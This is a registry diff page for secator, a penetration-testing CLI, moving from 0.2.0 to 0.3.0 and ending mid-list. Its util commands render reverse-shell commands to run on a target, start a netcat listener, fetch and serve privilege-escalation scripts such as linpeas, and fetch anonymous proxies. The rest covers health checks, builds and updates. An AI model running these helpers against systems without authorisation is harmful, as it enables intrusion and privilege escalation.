secator 0.2.0__py2.py3-none-any.whl → 0.3.0__py2.py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of secator might be problematic. Click here for more details.

secator/cli.py CHANGED
@@ -12,17 +12,15 @@ from rich.rule import Rule
12
12
 
13
13
  from secator.config import ConfigLoader
14
14
  from secator.decorators import OrderedGroup, register_runner
15
- from secator.definitions import (ASCII, CVES_FOLDER, DATA_FOLDER, # noqa: F401
16
- BUILD_ADDON_ENABLED, DEV_ADDON_ENABLED, DEV_PACKAGE,
17
- GOOGLE_ADDON_ENABLED, LIB_FOLDER, MONGODB_ADDON_ENABLED,
18
- OPT_NOT_SUPPORTED, PAYLOADS_FOLDER,
19
- REDIS_ADDON_ENABLED, REVSHELLS_FOLDER, ROOT_FOLDER,
20
- TRACE_ADDON_ENABLED, VERSION, WORKER_ADDON_ENABLED)
15
+ from secator.definitions import (ASCII, BUILD_ADDON_ENABLED, CVES_FOLDER, DATA_FOLDER, DEV_ADDON_ENABLED, # noqa: F401
16
+ DEV_PACKAGE, GOOGLE_ADDON_ENABLED, VERSION_LATEST, LIB_FOLDER, MONGODB_ADDON_ENABLED,
17
+ VERSION_OBSOLETE, OPT_NOT_SUPPORTED, PAYLOADS_FOLDER, REDIS_ADDON_ENABLED, REVSHELLS_FOLDER, ROOT_FOLDER,
18
+ TRACE_ADDON_ENABLED, VERSION, VERSION_STR, WORKER_ADDON_ENABLED)
19
+ from secator.installer import ToolInstaller
21
20
  from secator.rich import console
22
21
  from secator.runners import Command
23
22
  from secator.serializers.dataclass import loads_dataclass
24
- from secator.utils import (debug, detect_host, discover_tasks, find_list_item,
25
- flatten, print_results_table)
23
+ from secator.utils import debug, detect_host, discover_tasks, find_list_item, flatten, print_results_table
26
24
 
27
25
  click.rich_click.USE_RICH_MARKUP = True
28
26
 
@@ -32,25 +30,32 @@ ALL_WORKFLOWS = ALL_CONFIGS.workflow
32
30
  ALL_SCANS = ALL_CONFIGS.scan
33
31
 
34
32
 
33
+ def print_version():
34
+ console.print(f'[bold gold3]Current version[/]: {VERSION}', highlight=False)
35
+ console.print(f'[bold gold3]Latest version[/]: {VERSION_LATEST}', highlight=False)
36
+ console.print(f'[bold gold3]Python binary[/]: {sys.executable}')
37
+ if DEV_PACKAGE:
38
+ console.print(f'[bold gold3]Root folder[/]: {ROOT_FOLDER}')
39
+ console.print(f'[bold gold3]Lib folder[/]: {LIB_FOLDER}')
40
+
41
+
35
42
  #-----#
36
43
  # CLI #
37
44
  #-----#
38
45
 
39
46
  @click.group(cls=OrderedGroup, invoke_without_command=True)
40
- @click.option('--no-banner', '-nb', is_flag=True, default=False)
41
47
  @click.option('--version', '-version', is_flag=True, default=False)
42
48
  @click.pass_context
43
- def cli(ctx, no_banner, version):
49
+ def cli(ctx, version):
44
50
  """Secator CLI."""
45
- if not no_banner:
46
- print(ASCII, file=sys.stderr)
51
+ console.print(ASCII, highlight=False)
52
+ if VERSION_OBSOLETE:
53
+ console.print(
54
+ '[bold red]:warning: secator version is outdated: '
55
+ f'run "secator update" to install the newest version ({VERSION_LATEST}).\n')
47
56
  if ctx.invoked_subcommand is None:
48
57
  if version:
49
- console.print(f'[bold gold3]Current version[/]: v{VERSION}', highlight=False)
50
- console.print(f'[bold gold3]Python binary[/]: {sys.executable}')
51
- if DEV_PACKAGE:
52
- console.print(f'[bold gold3]Root folder[/]: {ROOT_FOLDER}')
53
- console.print(f'[bold gold3]Lib folder[/]: {LIB_FOLDER}')
58
+ print_version()
54
59
  else:
55
60
  ctx.get_help()
56
61
 
@@ -147,84 +152,406 @@ def worker(hostname, concurrency, reload, queue, pool, check, dev, stop, show):
147
152
  Command.execute(cmd, name='secator worker')
148
153
 
149
154
 
150
- #--------#
151
- # REPORT #
152
- #--------#
155
+ #-------#
156
+ # UTILS #
157
+ #-------#
153
158
 
154
159
 
155
- @cli.group(aliases=['r'])
156
- def report():
157
- """Reports."""
160
+ @cli.group(aliases=['u'])
161
+ def util():
162
+ """Run a utility."""
158
163
  pass
159
164
 
160
165
 
161
- @report.command('show')
162
- @click.argument('json_path')
163
- @click.option('-e', '--exclude-fields', type=str, default='', help='List of fields to exclude (comma-separated)')
164
- def report_show(json_path, exclude_fields):
165
- """Show a JSON report as a nicely-formatted table."""
166
- with open(json_path, 'r') as f:
167
- report = loads_dataclass(f.read())
168
- results = flatten(list(report['results'].values()))
169
- exclude_fields = exclude_fields.split(',')
170
- print_results_table(
171
- results,
172
- title=report['info']['title'],
173
- exclude_fields=exclude_fields)
166
+ @util.command()
167
+ @click.option('--timeout', type=float, default=0.2, help='Proxy timeout (in seconds)')
168
+ @click.option('--number', '-n', type=int, default=1, help='Number of proxies')
169
+ def proxy(timeout, number):
170
+ """Get random proxies from FreeProxy."""
171
+ proxy = FreeProxy(timeout=timeout, rand=True, anonym=True)
172
+ for _ in range(number):
173
+ url = proxy.get()
174
+ print(url)
174
175
 
175
176
 
176
- #--------#
177
- # DEPLOY #
178
- #--------#
177
+ @util.command()
178
+ @click.argument('name', type=str, default=None, required=False)
179
+ @click.option('--host', '-h', type=str, default=None, help='Specify LHOST for revshell, otherwise autodetected.')
180
+ @click.option('--port', '-p', type=int, default=9001, show_default=True, help='Specify PORT for revshell')
181
+ @click.option('--interface', '-i', type=str, help='Interface to use to detect IP')
182
+ @click.option('--listen', '-l', is_flag=True, default=False, help='Spawn netcat listener on specified port')
183
+ @click.option('--force', is_flag=True)
184
+ def revshell(name, host, port, interface, listen, force):
185
+ """Show reverse shell source codes and run netcat listener (-l)."""
186
+ if host is None: # detect host automatically
187
+ host = detect_host(interface)
188
+ if not host:
189
+ console.print(
190
+ f'Interface "{interface}" could not be found. Run "ifconfig" to see the list of available interfaces.',
191
+ style='bold red')
192
+ return
179
193
 
180
- # TODO: work on this
181
- # @cli.group(aliases=['d'])
182
- # def deploy():
183
- # """Deploy secator."""
184
- # pass
194
+ # Download reverse shells JSON from repo
195
+ revshells_json = f'{REVSHELLS_FOLDER}/revshells.json'
196
+ if not os.path.exists(revshells_json) or force:
197
+ ret = Command.execute(
198
+ f'wget https://raw.githubusercontent.com/freelabz/secator/main/scripts/revshells.json && mv revshells.json {REVSHELLS_FOLDER}', # noqa: E501
199
+ cls_attributes={'shell': True}
200
+ )
201
+ if not ret.return_code == 0:
202
+ sys.exit(1)
185
203
 
186
- # @deploy.command()
187
- # def docker_compose():
188
- # """Deploy secator on docker-compose."""
189
- # pass
204
+ # Parse JSON into shells
205
+ with open(revshells_json) as f:
206
+ shells = json.loads(f.read())
207
+ for sh in shells:
208
+ sh['alias'] = '_'.join(sh['name'].lower()
209
+ .replace('-c', '')
210
+ .replace('-e', '')
211
+ .replace('-i', '')
212
+ .replace('c#', 'cs')
213
+ .replace('#', '')
214
+ .replace('(', '')
215
+ .replace(')', '')
216
+ .strip()
217
+ .split(' ')).replace('_1', '')
218
+ cmd = re.sub(r"\s\s+", "", sh.get('command', ''), flags=re.UNICODE)
219
+ cmd = cmd.replace('\n', ' ')
220
+ sh['cmd_short'] = (cmd[:30] + '..') if len(cmd) > 30 else cmd
190
221
 
191
- # @deploy.command()
192
- # @click.option('-t', '--target', type=str, default='minikube', help='Deployment target amongst minikube, gke')
193
- # def k8s():
194
- # """Deploy secator on Kubernetes."""
195
- # pass
222
+ shell = [
223
+ shell for shell in shells if shell['name'] == name or shell['alias'] == name
224
+ ]
225
+ if not shell:
226
+ console.print('Available shells:', style='bold yellow')
227
+ shells_str = [
228
+ '[bold magenta]{alias:<20}[/][dim white]{name:<20}[/][dim gold3]{cmd_short:<20}[/]'.format(**sh)
229
+ for sh in shells
230
+ ]
231
+ console.print('\n'.join(shells_str))
232
+ else:
233
+ shell = shell[0]
234
+ command = shell['command']
235
+ alias = shell['alias']
236
+ name = shell['name']
237
+ command_str = Template(command).render(ip=host, port=port, shell='bash')
238
+ console.print(Rule(f'[bold gold3]{alias}[/] - [bold red]{name} REMOTE SHELL', style='bold red', align='left'))
239
+ lang = shell.get('lang') or 'sh'
240
+ if len(command.splitlines()) == 1:
241
+ console.print()
242
+ print(f'\033[0;36m{command_str}')
243
+ else:
244
+ md = Markdown(f'```{lang}\n{command_str}\n```')
245
+ console.print(md)
246
+ console.print(f'Save this script as rev.{lang} and run it on your target', style='dim italic')
247
+ console.print()
248
+ console.print(Rule(style='bold red'))
196
249
 
250
+ if listen:
251
+ console.print(f'Starting netcat listener on port {port} ...', style='bold gold3')
252
+ cmd = f'nc -lvnp {port}'
253
+ Command.execute(cmd)
197
254
 
198
- #--------#
199
- # HEALTH #
200
- #--------#
201
255
 
256
+ @util.command()
257
+ @click.option('--directory', '-d', type=str, default=PAYLOADS_FOLDER, show_default=True, help='HTTP server directory')
258
+ @click.option('--host', '-h', type=str, default=None, help='HTTP host')
259
+ @click.option('--port', '-p', type=int, default=9001, help='HTTP server port')
260
+ @click.option('--interface', '-i', type=str, default=None, help='Interface to use to auto-detect host IP')
261
+ def serve(directory, host, port, interface):
262
+ """Run HTTP server to serve payloads."""
263
+ LSE_URL = 'https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh'
264
+ LINPEAS_URL = 'https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh'
265
+ SUDOKILLER_URL = 'https://raw.githubusercontent.com/TH3xACE/SUDO_KILLER/V3/SUDO_KILLERv3.sh'
266
+ PAYLOADS = [
267
+ {
268
+ 'fname': 'lse.sh',
269
+ 'description': 'Linux Smart Enumeration',
270
+ 'command': f'wget {LSE_URL} -O lse.sh && chmod 700 lse.sh'
271
+ },
272
+ {
273
+ 'fname': 'linpeas.sh',
274
+ 'description': 'Linux Privilege Escalation Awesome Script',
275
+ 'command': f'wget {LINPEAS_URL} -O linpeas.sh && chmod 700 linpeas.sh'
276
+ },
277
+ {
278
+ 'fname': 'sudo_killer.sh',
279
+ 'description': 'SUDO_KILLER',
280
+ 'command': f'wget {SUDOKILLER_URL} -O sudo_killer.sh && chmod 700 sudo_killer.sh'
281
+ }
282
+ ]
283
+ for ix, payload in enumerate(PAYLOADS):
284
+ descr = payload.get('description', '')
285
+ fname = payload['fname']
286
+ if not os.path.exists(f'{directory}/{fname}'):
287
+ with console.status(f'[bold yellow][{ix}/{len(PAYLOADS)}] Downloading {fname} [dim]({descr})[/] ...[/]'):
288
+ cmd = payload['command']
289
+ console.print(f'[bold magenta]{fname} [dim]({descr})[/] ...[/]', )
290
+ Command.execute(cmd, cls_attributes={'shell': True}, cwd=directory)
291
+ console.print()
202
292
 
203
- def which(command):
204
- """Run which on a command.
293
+ console.print(Rule())
294
+ console.print(f'Available payloads in {directory}: ', style='bold yellow')
295
+ for fname in os.listdir(directory):
296
+ if not host:
297
+ host = detect_host(interface)
298
+ if not host:
299
+ console.print(
300
+ f'Interface "{interface}" could not be found. Run "ifconfig" to see the list of interfaces.',
301
+ style='bold red')
302
+ return
303
+ payload = find_list_item(PAYLOADS, fname, key='fname', default={})
304
+ fdescr = payload.get('description', 'No description')
305
+ console.print(f'{fname} [dim]({fdescr})[/]', style='bold magenta')
306
+ console.print(f'wget http://{host}:{port}/{fname}', style='dim italic')
307
+ console.print('')
308
+ console.print(Rule())
309
+ console.print(f'Started HTTP server on port {port}, waiting for incoming connections ...', style='bold yellow')
310
+ Command.execute(f'{sys.executable} -m http.server {port}', cwd=directory)
205
311
 
206
- Args:
207
- command (str): Command to check.
208
312
 
209
- Returns:
210
- secator.Command: Command instance.
211
- """
212
- return Command.execute(f'which {command}', quiet=True, print_errors=False)
313
+ @util.command()
314
+ @click.argument('record_name', type=str, default=None)
315
+ @click.option('--script', '-s', type=str, default=None, help='Script to run. See scripts/stories/ for examples.')
316
+ @click.option('--interactive', '-i', is_flag=True, default=False, help='Interactive record.')
317
+ @click.option('--width', '-w', type=int, default=None, help='Recording width')
318
+ @click.option('--height', '-h', type=int, default=None, help='Recording height')
319
+ @click.option('--output-dir', type=str, default=f'{ROOT_FOLDER}/images')
320
+ def record(record_name, script, interactive, width, height, output_dir):
321
+ """Record secator session using asciinema."""
322
+ # 120 x 30 is a good ratio for GitHub
323
+ width = width or console.size.width
324
+ height = height or console.size.height
325
+ attrs = {
326
+ 'shell': False,
327
+ 'env': {
328
+ 'RECORD': '1',
329
+ 'LINES': str(height),
330
+ 'PS1': '$ ',
331
+ 'COLUMNS': str(width),
332
+ 'TERM': 'xterm-256color'
333
+ }
334
+ }
335
+ output_cast_path = f'{output_dir}/{record_name}.cast'
336
+ output_gif_path = f'{output_dir}/{record_name}.gif'
213
337
 
338
+ # Run automated 'story' script with asciinema-automation
339
+ if script:
340
+ # If existing cast file, remove it
341
+ if os.path.exists(output_cast_path):
342
+ os.unlink(output_cast_path)
343
+ console.print(f'Removed existing {output_cast_path}', style='bold green')
214
344
 
215
- def version(cls):
216
- """Get version for a Command.
345
+ with console.status('[bold gold3]Recording with asciinema ...[/]'):
346
+ Command.execute(
347
+ f'asciinema-automation -aa "-c /bin/sh" {script} {output_cast_path} --timeout 200',
348
+ cls_attributes=attrs,
349
+ raw=True,
350
+ )
351
+ console.print(f'Generated {output_cast_path}', style='bold green')
352
+ elif interactive:
353
+ os.environ.update(attrs['env'])
354
+ Command.execute(f'asciinema rec -c /bin/bash --stdin --overwrite {output_cast_path}')
217
355
 
218
- Args:
219
- cls: Command class.
356
+ # Resize cast file
357
+ if os.path.exists(output_cast_path):
358
+ with console.status('[bold gold3]Cleaning up .cast and set custom settings ...'):
359
+ with open(output_cast_path, 'r') as f:
360
+ lines = f.readlines()
361
+ updated_lines = []
362
+ for ix, line in enumerate(lines):
363
+ tmp_line = json.loads(line)
364
+ if ix == 0:
365
+ tmp_line['width'] = width
366
+ tmp_line['height'] = height
367
+ tmp_line['env']['SHELL'] = '/bin/sh'
368
+ lines[0] = json.dumps(tmp_line) + '\n'
369
+ updated_lines.append(json.dumps(tmp_line) + '\n')
370
+ elif tmp_line[2].endswith(' \r'):
371
+ tmp_line[2] = tmp_line[2].replace(' \r', '')
372
+ updated_lines.append(json.dumps(tmp_line) + '\n')
373
+ else:
374
+ updated_lines.append(line)
375
+ with open(output_cast_path, 'w') as f:
376
+ f.writelines(updated_lines)
377
+ console.print('')
220
378
 
221
- Returns:
222
- string: Version string or 'n/a' if not found.
223
- """
224
- base_cmd = cls.cmd.split(' ')[0]
225
- if cls.version_flag == OPT_NOT_SUPPORTED:
226
- return 'N/A'
227
- version_flag = cls.version_flag or f'{cls.opt_prefix}version'
379
+ # Edit cast file to reduce long timeouts
380
+ with console.status('[bold gold3] Editing cast file to reduce long commands ...'):
381
+ Command.execute(
382
+ f'asciinema-edit quantize --range 1 {output_cast_path} --out {output_cast_path}.tmp',
383
+ cls_attributes=attrs,
384
+ raw=True,
385
+ )
386
+ if os.path.exists(f'{output_cast_path}.tmp'):
387
+ os.replace(f'{output_cast_path}.tmp', output_cast_path)
388
+ console.print(f'Edited {output_cast_path}', style='bold green')
389
+
390
+ # Convert to GIF
391
+ with console.status(f'[bold gold3]Converting to {output_gif_path} ...[/]'):
392
+ Command.execute(
393
+ f'agg {output_cast_path} {output_gif_path}',
394
+ cls_attributes=attrs,
395
+ )
396
+ console.print(f'Generated {output_gif_path}', style='bold green')
397
+
398
+
399
+ @util.group('build')
400
+ def build():
401
+ """Build secator."""
402
+ if not DEV_PACKAGE:
403
+ console.print('[bold red]You MUST use a development version of secator to make builds.[/]')
404
+ sys.exit(1)
405
+ pass
406
+
407
+
408
+ @build.command('pypi')
409
+ def build_pypi():
410
+ """Build secator PyPI package."""
411
+ if not BUILD_ADDON_ENABLED:
412
+ console.print('[bold red]Missing build addon: please run `secator install addons build`')
413
+ sys.exit(1)
414
+ with console.status('[bold gold3]Building PyPI package...[/]'):
415
+ ret = Command.execute(f'{sys.executable} -m hatch build', name='hatch build', cwd=ROOT_FOLDER)
416
+ sys.exit(ret.return_code)
417
+
418
+
419
+ @build.command('docker')
420
+ @click.option('--tag', '-t', type=str, default=None, help='Specific tag')
421
+ @click.option('--latest', '-l', is_flag=True, default=False, help='Latest tag')
422
+ def build_docker(tag, latest):
423
+ """Build secator Docker image."""
424
+ if not tag:
425
+ tag = VERSION if latest else 'dev'
426
+ cmd = f'docker build -t freelabz/secator:{tag}'
427
+ if latest:
428
+ cmd += ' -t freelabz/secator:latest'
429
+ cmd += ' .'
430
+ with console.status('[bold gold3]Building Docker image...[/]'):
431
+ ret = Command.execute(cmd, name='docker build', cwd=ROOT_FOLDER)
432
+ sys.exit(ret.return_code)
433
+
434
+
435
+ @util.group('publish')
436
+ def publish():
437
+ """Publish secator."""
438
+ if not DEV_PACKAGE:
439
+ console.print('[bold red]You MUST use a development version of secator to publish builds.[/]')
440
+ sys.exit(1)
441
+ pass
442
+
443
+
444
+ @publish.command('pypi')
445
+ def publish_pypi():
446
+ """Publish secator PyPI package."""
447
+ if not BUILD_ADDON_ENABLED:
448
+ console.print('[bold red]Missing build addon: please run `secator install addons build`')
449
+ sys.exit(1)
450
+ os.environ['HATCH_INDEX_USER'] = '__token__'
451
+ hatch_token = os.environ.get('HATCH_INDEX_AUTH')
452
+ if not hatch_token:
453
+ console.print('[bold red]Missing PyPI auth token (HATCH_INDEX_AUTH env variable).')
454
+ sys.exit(1)
455
+ with console.status('[bold gold3]Publishing PyPI package...[/]'):
456
+ ret = Command.execute(f'{sys.executable} -m hatch publish', name='hatch publish', cwd=ROOT_FOLDER)
457
+ sys.exit(ret.return_code)
458
+
459
+
460
+ @publish.command('docker')
461
+ @click.option('--tag', '-t', default=None, help='Specific tag')
462
+ @click.option('--latest', '-l', is_flag=True, default=False, help='Latest tag')
463
+ def publish_docker(tag, latest):
464
+ """Publish secator Docker image."""
465
+ if not tag:
466
+ tag = VERSION if latest else 'dev'
467
+ cmd = f'docker push freelabz/secator:{tag}'
468
+ cmd2 = 'docker push freelabz/secator:latest'
469
+ with console.status(f'[bold gold3]Publishing Docker image {tag}...[/]'):
470
+ ret = Command.execute(cmd, name=f'docker push ({tag})', cwd=ROOT_FOLDER)
471
+ if latest:
472
+ ret2 = Command.execute(cmd2, name='docker push (latest)')
473
+ sys.exit(max(ret.return_code, ret2.return_code))
474
+ sys.exit(ret.return_code)
475
+
476
+
477
+ #--------#
478
+ # REPORT #
479
+ #--------#
480
+
481
+
482
+ @cli.group(aliases=['r'])
483
+ def report():
484
+ """View previous reports."""
485
+ pass
486
+
487
+
488
+ @report.command('show')
489
+ @click.argument('json_path')
490
+ @click.option('-e', '--exclude-fields', type=str, default='', help='List of fields to exclude (comma-separated)')
491
+ def report_show(json_path, exclude_fields):
492
+ """Show a JSON report as a nicely-formatted table."""
493
+ with open(json_path, 'r') as f:
494
+ report = loads_dataclass(f.read())
495
+ results = flatten(list(report['results'].values()))
496
+ exclude_fields = exclude_fields.split(',')
497
+ print_results_table(
498
+ results,
499
+ title=report['info']['title'],
500
+ exclude_fields=exclude_fields)
501
+
502
+
503
+ #--------#
504
+ # DEPLOY #
505
+ #--------#
506
+
507
+ # TODO: work on this
508
+ # @cli.group(aliases=['d'])
509
+ # def deploy():
510
+ # """Deploy secator."""
511
+ # pass
512
+
513
+ # @deploy.command()
514
+ # def docker_compose():
515
+ # """Deploy secator on docker-compose."""
516
+ # pass
517
+
518
+ # @deploy.command()
519
+ # @click.option('-t', '--target', type=str, default='minikube', help='Deployment target amongst minikube, gke')
520
+ # def k8s():
521
+ # """Deploy secator on Kubernetes."""
522
+ # pass
523
+
524
+
525
+ #--------#
526
+ # HEALTH #
527
+ #--------#
528
+
529
+
530
+ def which(command):
531
+ """Run which on a command.
532
+
533
+ Args:
534
+ command (str): Command to check.
535
+
536
+ Returns:
537
+ secator.Command: Command instance.
538
+ """
539
+ return Command.execute(f'which {command}', quiet=True, print_errors=False)
540
+
541
+
542
+ def get_version_cls(cls):
543
+ """Get version for a Command.
544
+
545
+ Args:
546
+ cls: Command class.
547
+
548
+ Returns:
549
+ string: Version string or 'n/a' if not found.
550
+ """
551
+ base_cmd = cls.cmd.split(' ')[0]
552
+ if cls.version_flag == OPT_NOT_SUPPORTED:
553
+ return 'N/A'
554
+ version_flag = cls.version_flag or f'{cls.opt_prefix}version'
228
555
  version_cmd = f'{base_cmd} {version_flag}'
229
556
  return get_version(version_cmd)
230
557
 
@@ -246,11 +573,11 @@ def get_version(version_cmd):
246
573
  return match[0]
247
574
 
248
575
 
249
- @cli.command(name='health', aliases=['h'])
576
+ @cli.command(name='health')
250
577
  @click.option('--json', '-json', is_flag=True, default=False, help='JSON lines output')
251
578
  @click.option('--debug', '-debug', is_flag=True, default=False, help='Debug health output')
252
579
  def health(json, debug):
253
- """Health."""
580
+ """[dim]Get health status.[/]"""
254
581
  tools = [cls for cls in ALL_TASKS]
255
582
  status = {'tools': {}, 'languages': {}, 'secator': {}}
256
583
 
@@ -269,43 +596,49 @@ def health(json, debug):
269
596
  console.print(s, highlight=False)
270
597
 
271
598
  # Check secator
272
- console.print(':wrench: [bold gold3]Checking secator ...[/]')
599
+ if not json:
600
+ console.print(':wrench: [bold gold3]Checking secator ...[/]')
273
601
  ret = which('secator')
274
602
  if not json:
275
603
  print_status('secator', ret.return_code, VERSION, ret.output, None)
276
- status['secator'] = {'installed': ret.return_code == 0}
604
+ status['secator'] = {'installed': ret.return_code == 0, 'version': VERSION}
277
605
 
278
606
  # Check languages
279
- console.print('\n:wrench: [bold gold3]Checking installed languages ...[/]')
607
+ if not json:
608
+ console.print('\n:wrench: [bold gold3]Checking installed languages ...[/]')
280
609
  version_cmds = {'go': 'version', 'python3': '--version', 'ruby': '--version'}
281
610
  for lang, version_flag in version_cmds.items():
282
611
  ret = which(lang)
283
- ret2 = get_version(f'{lang} {version_flag}')
612
+ version = get_version(f'{lang} {version_flag}')
284
613
  if not json:
285
- print_status(lang, ret.return_code, ret2, ret.output, 'langs')
286
- status['languages'][lang] = {'installed': ret.return_code == 0}
614
+ print_status(lang, ret.return_code, version, ret.output, 'langs')
615
+ status['languages'][lang] = {'installed': ret.return_code == 0, 'version': version}
287
616
 
288
617
  # Check tools
289
- console.print('\n:wrench: [bold gold3]Checking installed tools ...[/]')
618
+ if not json:
619
+ console.print('\n:wrench: [bold gold3]Checking installed tools ...[/]')
290
620
  for tool in tools:
291
621
  cmd = tool.cmd.split(' ')[0]
292
622
  ret = which(cmd)
293
- ret2 = version(tool)
623
+ version = get_version_cls(tool)
294
624
  if not json:
295
- print_status(tool.__name__, ret.return_code, ret2, ret.output, 'tools')
296
- status['tools'][tool.__name__] = {'installed': ret.return_code == 0}
625
+ print_status(tool.__name__, ret.return_code, version, ret.output, 'tools')
626
+ status['tools'][tool.__name__] = {'installed': ret.return_code == 0, 'version': version}
297
627
 
298
628
  # Check addons
299
- console.print('\n:wrench: [bold gold3]Checking installed addons ...[/]')
629
+ if not json:
630
+ console.print('\n:wrench: [bold gold3]Checking installed addons ...[/]')
300
631
  for addon in ['google', 'mongodb', 'redis', 'dev', 'trace', 'build']:
301
632
  addon_var = globals()[f'{addon.upper()}_ADDON_ENABLED']
302
633
  ret = 0 if addon_var == 1 else 1
303
634
  bin = None if addon_var == 0 else ' '
304
- print_status(addon, ret, 'N/A', bin, 'addons')
635
+ if not json:
636
+ print_status(addon, ret, 'N/A', bin, 'addons')
305
637
 
306
638
  # Print JSON health
307
639
  if json:
308
- console.print(status)
640
+ import json as _json
641
+ print(_json.dumps(status))
309
642
 
310
643
  #---------#
311
644
  # INSTALL #
@@ -326,9 +659,9 @@ def run_install(cmd, title, next_steps=None):
326
659
  sys.exit(ret.return_code)
327
660
 
328
661
 
329
- @cli.group(aliases=['i'])
662
+ @cli.group()
330
663
  def install():
331
- "Installations."
664
+ """[dim]Install langs, tools and addons.[/]"""
332
665
  pass
333
666
 
334
667
 
@@ -476,7 +809,7 @@ def install_tools(cmds):
476
809
 
477
810
  for ix, cls in enumerate(tools):
478
811
  with console.status(f'[bold yellow][{ix}/{len(tools)}] Installing {cls.__name__} ...'):
479
- cls.install()
812
+ ToolInstaller.install(cls)
480
813
  console.print()
481
814
 
482
815
 
@@ -502,14 +835,30 @@ def install_cves(force):
502
835
  console.print(':tada: CVEs installed successfully !', style='bold green')
503
836
 
504
837
 
838
+ #--------#
839
+ # UPDATE #
840
+ #--------#
841
+
842
+ @cli.command('update')
843
+ def update():
844
+ """[dim]Update to latest version.[/]"""
845
+ if not VERSION_OBSOLETE:
846
+ console.print(f'[bold green]secator is already at the newest version {VERSION_LATEST}[/]')
847
+ console.print(f'[bold gold3]:wrench: Updating secator from {VERSION} to {VERSION_LATEST} ...[/]')
848
+ if 'pipx' in sys.executable:
849
+ Command.execute(f'pipx install secator=={VERSION_LATEST} --force')
850
+ else:
851
+ Command.execute(f'pip install secator=={VERSION_LATEST}')
852
+
853
+
505
854
  #-------#
506
855
  # ALIAS #
507
856
  #-------#
508
857
 
509
858
 
510
- @cli.group(aliases=['a'])
859
+ @cli.group()
511
860
  def alias():
512
- """Aliases."""
861
+ """[dim]Configure aliases.[/]"""
513
862
  pass
514
863
 
515
864
 
@@ -593,315 +942,6 @@ def list_aliases(silent):
593
942
  return aliases
594
943
 
595
944
 
596
- #-------#
597
- # UTILS #
598
- #-------#
599
-
600
-
601
- @cli.group(aliases=['u'])
602
- def utils():
603
- """Utilities."""
604
- pass
605
-
606
-
607
- @utils.command()
608
- @click.option('--timeout', type=float, default=0.2, help='Proxy timeout (in seconds)')
609
- @click.option('--number', '-n', type=int, default=1, help='Number of proxies')
610
- def proxy(timeout, number):
611
- """Get random proxies from FreeProxy."""
612
- proxy = FreeProxy(timeout=timeout, rand=True, anonym=True)
613
- for _ in range(number):
614
- url = proxy.get()
615
- print(url)
616
-
617
-
618
- @utils.command()
619
- @click.argument('name', type=str, default=None, required=False)
620
- @click.option('--host', '-h', type=str, default=None, help='Specify LHOST for revshell, otherwise autodetected.')
621
- @click.option('--port', '-p', type=int, default=9001, show_default=True, help='Specify PORT for revshell')
622
- @click.option('--interface', '-i', type=str, help='Interface to use to detect IP')
623
- @click.option('--listen', '-l', is_flag=True, default=False, help='Spawn netcat listener on specified port')
624
- @click.option('--force', is_flag=True)
625
- def revshell(name, host, port, interface, listen, force):
626
- """Show reverse shell source codes and run netcat listener (-l)."""
627
- if host is None: # detect host automatically
628
- host = detect_host(interface)
629
- if not host:
630
- console.print(
631
- f'Interface "{interface}" could not be found. Run "ifconfig" to see the list of available interfaces.',
632
- style='bold red')
633
- return
634
-
635
- # Download reverse shells JSON from repo
636
- revshells_json = f'{REVSHELLS_FOLDER}/revshells.json'
637
- if not os.path.exists(revshells_json) or force:
638
- ret = Command.execute(
639
- f'wget https://raw.githubusercontent.com/freelabz/secator/main/scripts/revshells.json && mv revshells.json {REVSHELLS_FOLDER}', # noqa: E501
640
- cls_attributes={'shell': True}
641
- )
642
- if not ret.return_code == 0:
643
- sys.exit(1)
644
-
645
- # Parse JSON into shells
646
- with open(revshells_json) as f:
647
- shells = json.loads(f.read())
648
- for sh in shells:
649
- sh['alias'] = '_'.join(sh['name'].lower()
650
- .replace('-c', '')
651
- .replace('-e', '')
652
- .replace('-i', '')
653
- .replace('c#', 'cs')
654
- .replace('#', '')
655
- .replace('(', '')
656
- .replace(')', '')
657
- .strip()
658
- .split(' ')).replace('_1', '')
659
- cmd = re.sub(r"\s\s+", "", sh.get('command', ''), flags=re.UNICODE)
660
- cmd = cmd.replace('\n', ' ')
661
- sh['cmd_short'] = (cmd[:30] + '..') if len(cmd) > 30 else cmd
662
-
663
- shell = [
664
- shell for shell in shells if shell['name'] == name or shell['alias'] == name
665
- ]
666
- if not shell:
667
- console.print('Available shells:', style='bold yellow')
668
- shells_str = [
669
- '[bold magenta]{alias:<20}[/][dim white]{name:<20}[/][dim gold3]{cmd_short:<20}[/]'.format(**sh)
670
- for sh in shells
671
- ]
672
- console.print('\n'.join(shells_str))
673
- else:
674
- shell = shell[0]
675
- command = shell['command']
676
- alias = shell['alias']
677
- name = shell['name']
678
- command_str = Template(command).render(ip=host, port=port, shell='bash')
679
- console.print(Rule(f'[bold gold3]{alias}[/] - [bold red]{name} REMOTE SHELL', style='bold red', align='left'))
680
- lang = shell.get('lang') or 'sh'
681
- if len(command.splitlines()) == 1:
682
- console.print()
683
- print(f'\033[0;36m{command_str}')
684
- else:
685
- md = Markdown(f'```{lang}\n{command_str}\n```')
686
- console.print(md)
687
- console.print(f'Save this script as rev.{lang} and run it on your target', style='dim italic')
688
- console.print()
689
- console.print(Rule(style='bold red'))
690
-
691
- if listen:
692
- console.print(f'Starting netcat listener on port {port} ...', style='bold gold3')
693
- cmd = f'nc -lvnp {port}'
694
- Command.execute(cmd)
695
-
696
-
697
- @utils.command()
698
- @click.option('--directory', '-d', type=str, default=PAYLOADS_FOLDER, show_default=True, help='HTTP server directory')
699
- @click.option('--host', '-h', type=str, default=None, help='HTTP host')
700
- @click.option('--port', '-p', type=int, default=9001, help='HTTP server port')
701
- @click.option('--interface', '-i', type=str, default=None, help='Interface to use to auto-detect host IP')
702
- def serve(directory, host, port, interface):
703
- """Run HTTP server to serve payloads."""
704
- LSE_URL = 'https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh'
705
- LINPEAS_URL = 'https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh'
706
- SUDOKILLER_URL = 'https://raw.githubusercontent.com/TH3xACE/SUDO_KILLER/V3/SUDO_KILLERv3.sh'
707
- PAYLOADS = [
708
- {
709
- 'fname': 'lse.sh',
710
- 'description': 'Linux Smart Enumeration',
711
- 'command': f'wget {LSE_URL} -O lse.sh && chmod 700 lse.sh'
712
- },
713
- {
714
- 'fname': 'linpeas.sh',
715
